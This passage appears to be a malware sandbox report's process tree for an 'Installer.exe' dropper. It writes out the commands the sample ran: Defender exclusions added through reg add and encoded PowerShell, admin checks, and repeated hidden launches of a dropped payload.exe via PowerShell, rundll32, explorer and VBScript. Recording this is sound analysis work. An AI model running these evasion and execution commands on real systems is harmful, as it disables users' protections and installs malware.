    powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3waqyf614a\payload.exe' -WindowStyle Hidden"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:688
  - - C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3waqyf614a\payload.exe
      "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3waqyf614a\payload.exe"
      4⤵
      Executes dropped EXE
      PID:2980
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\setupapi_b1b6fc.vbs""
  2⤵
  PID:3200
- - C:\Windows\system32\wscript.exe
    wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\setupapi_b1b6fc.vbs"
    3⤵
    - Checks computer location settings
    - Executes a VBScript file via the Windows Script Host.
    PID:3936
  - - C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3waqyf614a\payload.exe
      "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3waqyf614a\payload.exe"
      4⤵
      Executes dropped EXE
      PID:4424

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:2120
- C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3waqyf614a\payload.exe
  "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3waqyf614a\payload.exe"
  2⤵
  - Executes dropped EXE
  PID:3656

C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe
"C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
PID:5524
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "ps -p 3408 -o comm=,ppid="
  2⤵
  PID:4960
- C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe
  "C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe" --type=gpu-process --disable-gpu-sandbox --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1768 --field-trial-handle=1772,i,16466078815035032405,12371950494814727637,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:3676
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  PID:6132
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:1004
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:3040
- C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe
  "C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=uk --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --mojo-platform-channel-handle=1984 --field-trial-handle=1772,i,16466078815035032405,12371950494814727637,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:3
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:4228
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Personal"
  2⤵
  PID:1744
- - C:\Windows\system32\reg.exe
    reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Personal
    3⤵
    PID:5496
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  PID:5532
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:3916
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:3472
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\mssetup_bdda07.vbs""
  2⤵
  - Executes a command shell one-liner
  PID:5552
- - C:\Windows\system32\wscript.exe
    wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\mssetup_bdda07.vbs"
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:2380
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe" /t REG_DWORD /d 0 /f"
  2⤵
  PID:2536
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:4876
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe" /t REG_DWORD /d 0 /f"
  2⤵
  PID:744
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe" /t REG_DWORD /d 0 /f
    3⤵
    PID:2024
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbf6o8778" /t REG_DWORD /d 0 /f"
  2⤵
  PID:4624
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbf6o8778" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:2232
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbf6o8778" /t REG_DWORD /d 0 /f"
  2⤵
  PID:5820
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbf6o8778" /t REG_DWORD /d 0 /f
    3⤵
    PID:3476
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp" /t REG_DWORD /d 0 /f"
  2⤵
  PID:3392
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:1544
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp" /t REG_DWORD /d 0 /f"
  2⤵
  PID:3404
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp" /t REG_DWORD /d 0 /f
    3⤵
    PID:4000
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbf6o8778\payload.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:4596
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbf6o8778\payload.exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:3096
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbf6o8778\payload.exe" /t REG_DWORD /d 0 /f"
  2⤵
  PID:5452
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbf6o8778\payload.exe" /t REG_DWORD /d 0 /f
    3⤵
    PID:1784
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f"
  2⤵
  PID:4864
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:5288
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:6084
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:4908
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:1208
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:2204
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:2844
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f
    3⤵
    PID:3788
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFAAcgBvAGcAcgBhAG0AcwBcAGkAbgBzAHQAYQBsAGwAZQByAFwASQBuAHMAdABhAGwAbABlAHIALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAUgB1AG4AdABpAG0AZQBcAHQAZQBtAHAAXABtAHQAMwB3AGIAZgA2AG8AOAA3ADcAOAAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAUgB1AG4AdABpAG0AZQBcAHQAZQBtAHAAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFIAdQBuAHQAaQBtAGUAXAB0AGUAbQBwAFwAbQB0ADMAdwBiAGYANgBvADgANwA3ADgAXABwAGEAeQBsAG8AYQBkAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBFAHgAdABlAG4AcwBpAG8AbgAgACcALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAHQAbQBwACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgACcAcABhAHkAbABvAGEAZAAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA="
  2⤵
  PID:4200
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFAAcgBvAGcAcgBhAG0AcwBcAGkAbgBzAHQAYQBsAGwAZQByAFwASQBuAHMAdABhAGwAbABlAHIALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAUgB1AG4AdABpAG0AZQBcAHQAZQBtAHAAXABtAHQAMwB3AGIAZgA2AG8AOAA3ADcAOAAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAUgB1AG4AdABpAG0AZQBcAHQAZQBtAHAAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFIAdQBuAHQAaQBtAGUAXAB0AGUAbQBwAFwAbQB0ADMAdwBiAGYANgBvADgANwA3ADgAXABwAGEAeQBsAG8AYQBkAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBFAHgAdABlAG4AcwBpAG8AbgAgACcALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAHQAbQBwACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgACcAcABhAHkAbABvAGEAZAAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA=
    3⤵
    PID:5132
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe'""
  2⤵
  - Executes a command shell one-liner
  PID:4116
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5340
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe""
  2⤵
  PID:3928
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe"
    3⤵
    PID:372
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbf6o8778'""
  2⤵
  - Executes a command shell one-liner
  PID:2952
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbf6o8778'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2524
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbf6o8778""
  2⤵
  - Executes a command shell one-liner
  PID:5324
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbf6o8778"
    3⤵
    PID:4000
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp'""
  2⤵
  - Executes a command shell one-liner
  PID:816
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1788
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp""
  2⤵
  PID:1720
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp"
    3⤵
    PID:1220
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbf6o8778\payload.exe'""
  2⤵
  PID:4732
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbf6o8778\payload.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1844
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbf6o8778\payload.exe""
  2⤵
  PID:6892
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbf6o8778\payload.exe"
    3⤵
    PID:6940
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbf6o8778\payload.exe' -ErrorAction SilentlyContinue""
  2⤵
  - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
  - Hide Artifacts: Hidden Window
  - Hide Artifacts: Ignore Process Interrupts
  PID:7008
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbf6o8778\payload.exe' -ErrorAction SilentlyContinue"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:7064
- C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbf6o8778\payload.exe
  C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbf6o8778\payload.exe
  2⤵
  - Executes dropped EXE
  PID:6844
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbf6o8778\payload.exe""
  2⤵
  PID:7012
- - C:\Windows\system32\cmd.exe
    cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbf6o8778\payload.exe"
    3⤵
    PID:6180
  - - C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbf6o8778\payload.exe
      "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbf6o8778\payload.exe"
      4⤵
      PID:6548
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "explorer.exe "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbf6o8778\payload.exe""
  2⤵
  PID:6756
- - C:\Windows\explorer.exe
    explorer.exe "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbf6o8778\payload.exe"
    3⤵
    PID:6752
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbf6o8778\payload.exe""
  2⤵
  - System Binary Proxy Execution: Rundll32
  PID:6908
- - C:\Windows\system32\rundll32.exe
    rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbf6o8778\payload.exe"
    3⤵
    - System Binary Proxy Execution: Rundll32
    PID:6820
  - - C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbf6o8778\payload.exe
      "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbf6o8778\payload.exe"
      4⤵
      PID:6872
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbf6o8778\payload.exe' -WindowStyle Hidden""
  2⤵
  - Hide Artifacts: Hidden Window
  PID:6476
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbf6o8778\payload.exe' -WindowStyle Hidden"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6588
  - - C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbf6o8778\payload.exe
      "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbf6o8778\payload.exe"
      4⤵
      PID:4904
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\svcrun_7c407e.vbs""
  2⤵
  - Executes a command shell one-liner
  PID:6676
- - C:\Windows\system32\wscript.exe
    wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\svcrun_7c407e.vbs"
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:6200
  - - C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbf6o8778\payload.exe
      "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbf6o8778\payload.exe"
      4⤵
      PID:6640

C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe
"C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
PID:2856
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "ps -p 3408 -o comm=,ppid="
  2⤵
  PID:1092
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  PID:1856
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:632
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:5348
- C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe
  "C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe" --type=gpu-process --disable-gpu-sandbox --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1868 --field-trial-handle=1876,i,7690612053612445375,13189240659833828444,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:4544
- C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe
